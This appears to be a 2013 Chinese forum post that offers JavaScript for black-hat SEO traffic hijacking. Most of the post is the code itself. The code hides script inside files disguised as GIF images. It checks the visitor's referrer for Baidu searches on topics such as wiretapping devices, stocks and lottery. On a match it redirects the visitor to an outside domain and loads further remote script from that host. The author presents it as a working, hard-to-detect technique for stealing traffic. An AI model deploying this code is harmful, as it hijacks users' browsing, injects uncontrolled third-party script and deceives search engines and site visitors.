admin 发表于 2013-2-20 15:13:24

利用js代码劫持百度蜘蛛

利用js代码劫持百度蜘蛛,以下是代码,属于黑帽SEO中比较中端的作弊方法,高手一看就懂了,新手朋友们估计用不来这段代码。就这一段简单的代码,一天做个几十万流量是完全没问题的。前面说了,这只是简单的代码,所以隐藏性比较一般。还有更高级的…搜索引擎暂时还没办法判断出来。百度蜘蛛JS代码1<script language="javascript" type="text/javascript" src="/images/js/j.js" ></script>
【j.js】GIF89a="";
var d=document.referrer;
if ((d.indexOf("wd=%BC%E0%CC%FD")>0)||(d.indexOf("wd=%C7%D4%CC%FD")>0)||(d.indexOf("wd=%C6%F7")>0)||(d.indexOf("wd=%CA%D6%BB%FA")>0)||(d.indexOf("wd=%B9%C9%C6%B1")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)||(d.indexOf("")>0)){
window.location.href="http://www.zhujitou.com";
}document.writeln("<script language=\"javascript\" src=\"http:\/\/www.zhujitou.com\/2.gif\"><\/script>\")")【2.gif】var s=document.referrer;
if(s.indexOf(".com")>0)
{
self.location="http://www.zhujitou.com";
//if(parent.window.opener) parent.window.opener.location='http://www.zhujitou.com';
}
百度蜘蛛JS代码2<script language="javascript" type="text/javascript" src="/images/js/j.js" ></script>document.writeln("<script src=http:\/\/www.zhujitou.com\/images\/gov.gif><\/script>"); 【gov.gif】GIF89a="";
var d=document.referrer;
if ((d.indexOf("wd=%C1%F9%BA%CF%B2%CA")>0)||(d.indexOf("wd=%CF%E3%B8%DB%C1%F9%BA%CF%B2%CA")>0)){if(window.location.href.indexOf("lishui")>0){
window.location.href="http://www.zhujitou.com";
}
else{
window.location.href="http://www.zhujitou.com";}
}

页: [1]
查看完整版本: 利用js代码劫持百度蜘蛛